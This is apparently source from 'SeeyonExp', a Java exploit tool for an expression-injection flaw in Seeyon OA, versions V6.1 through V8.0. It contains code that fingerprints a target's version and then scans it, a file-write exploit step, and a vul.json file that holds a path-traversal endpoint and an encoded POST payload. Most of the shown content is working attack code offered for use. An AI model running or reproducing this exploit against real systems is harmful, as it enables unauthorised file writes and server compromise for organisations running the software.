27 |             String execExp = "managerMethod=validate&arguments=" + execUrl;
28 |             System.out.println(execExp);
29 |             httpClient.sendPost(realUrl,execExp);
30 |             System.out.println("[!]文件写入完成，请访问" + oaUrl + "/" +dFile);
31 |         }
32 |     }
33 | }
34 | 


--------------------------------------------------------------------------------
/SeeyonExp/src/main/java/VersionRecognition.java:
--------------------------------------------------------------------------------
 1 | import org.apache.http.HttpResponse;
 2 | import org.apache.http.client.HttpClient;
 3 | import org.apache.http.client.methods.CloseableHttpResponse;
 4 | import org.apache.http.client.methods.HttpGet;
 5 | import org.apache.http.client.utils.URIBuilder;
 6 | import org.apache.http.impl.client.CloseableHttpClient;
 7 | import org.apache.http.impl.client.DefaultHttpClient;
 8 | import org.apache.http.util.EntityUtils;
 9 | import org.json.JSONArray;
10 | import org.json.JSONObject;
11 | import java.io.IOException;
12 | import java.util.ArrayList;
13 | import java.util.List;
14 | 
15 | public class VersionRecognition {
16 |     public void VersionRecognition(String url) throws Exception {
17 |         HTTPClient httpClient = new HTTPClient();
18 |         JsonRead jsonRead = new JsonRead();
19 |         JSONObject vulObject = jsonRead.JsonRead();
20 |         JSONArray versions = (JSONArray) vulObject.get("ImpactVersion");
21 |         JSONArray attUrl = (JSONArray) vulObject.get("url");
22 |         String method = vulObject.get("pocMethod").toString();
23 |         String poc = vulObject.get("pocContent").toString();
24 |         String res = vulObject.get("Response").toString();
25 |         List<Object> versionsList = versions.toList();
26 |         List<String> versionList1 = new ArrayList<>();
27 |         for (Object version:versionsList) {
28 |             versionList1.add((String)version);
29 |         }
30 |         if (url.startsWith("http:")){
31 |             HttpClient client = new DefaultHttpClient();
32 |             HttpGet request = new HttpGet(url);
33 |             HttpResponse response = client.execute(request);
34 |             String result = EntityUtils.toString(response.getEntity());
35 |             if (result != null){
36 |                 Integer indexVersionFlag = result.lastIndexOf("all-min.css");
37 |                 String version = result.substring(indexVersionFlag,indexVersionFlag+21);
38 |                 String[] versionArr = version.split("=");
39 |                 version = versionArr[1];
40 |                 version = version.replace("_",".").toLowerCase();
41 |                 for (String versionString : versionList1) {
42 |                     if (version.startsWith(versionString.toLowerCase())){
43 |                         System.out.println("[*]命中影响版本，开始扫描");
44 |                         String attackUrl="";
45 |                         for (Object atturl:attUrl) {
46 |                             attackUrl = url + atturl;
47 |                         }
48 |                         Scanner scanner = new Scanner();
49 |                         System.out.println(scanner.Scanner(poc,attackUrl,method,res));
50 |                     }
51 |                     continue;
52 |                 }
53 |             }else {
54 |                 System.out.println("[!]网页无内容，请检查后重新运行");
55 |             }
56 |         }else {
57 |             CloseableHttpClient client;
58 |             URIBuilder uriBuilder = new URIBuilder(url);
59 |             int port = uriBuilder.getPort();
60 |             if (port != 443){
61 |                 client = new SSLClient(uriBuilder.getPort());
62 |             }else {
63 |                 client = new SSLClient(443);
64 |             }
65 |             HttpGet httpGet = new HttpGet(uriBuilder.build());
66 |             CloseableHttpResponse response = client.execute(httpGet);
67 |             String result = EntityUtils.toString(response.getEntity());
68 |             if (result != null) {
69 |                 Integer indexVersionFlag = result.lastIndexOf("all-min.css");
70 |                 String version = result.substring(indexVersionFlag,indexVersionFlag+21);
71 |                 String[] versionArr = version.split("=");
72 |                 version = versionArr[1];
73 |                 version = version.replace("_",".").toLowerCase();
74 |                 for (String versionString : versionList1) {
75 |                     if (version.startsWith(versionString.toLowerCase())){
76 |                         System.out.println("[*]命中影响版本，开始扫描");
77 |                         String attackUrl="";
78 |                         for (Object atturl:attUrl) {
79 |                             attackUrl = url + atturl;
80 |                         }
81 |                         Scanner scanner = new Scanner();
82 |                         System.out.println(scanner.Scanner(poc,attackUrl,method,res));
83 |                     }
84 |                     continue;
85 |                 }
86 |             }else {
87 |                 System.out.println("[!]网页无内容，请检查后重新运行");
88 |             }
89 |         }
90 |     }
91 | }
92 | 


--------------------------------------------------------------------------------
/SeeyonExp/vul.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "Vulnerabilities":
 3 |     [
 4 |       {
 5 |         "name": "Seeyon Expression injection",
 6 | 		"ImpactVersion": ["V7.0","V7.1","V8.0","V6.1"],
 7 |         "url": ["/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip"],
 8 | 		"pocMethod": "POST",
 9 | 		"pocContent": "managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00%C2%8B%C2%AEVO%C3%8B%2F%C3%8A-%C3%8DI%0C%C2%A9%2CHU%C2%B7R0%C3%94Q%C2%80%C2%89%C3%B8%25%C3%A6%C2%82D%C3%94KR%C2%8BK%C3%94%11%C3%82%C2%AE%15%05E%C2%A9%C3%85%C3%85%C2%99%C3%B9y+%C3%89%C3%A0%C2%92%C2%A2%C3%8C%C2%BCt%C2%85%C2%82%C3%84%C2%92%0C%05%5B%05%25C%25%C3%ABZk%C2%90%06%0DM%C3%AB%C2%94%C3%944%C2%85%C3%A2%C2%92%C3%84%C2%92%C3%8Cd%C2%85%C2%8A%C2%8A%0A%0D%C3%8Dj%C3%B5Z%C2%A0%29%40%C2%93%C2%AAAtIQi%C2%AAz%2C%00l%C3%BA%C2%92%C3%AC%C2%80%00%00%00",
10 | 		"verify": "string",
11 | 		"Response": "\"message\":null",
12 |       }
13 |     ]
14 | }
15 | 


--------------------------------------------------------------------------------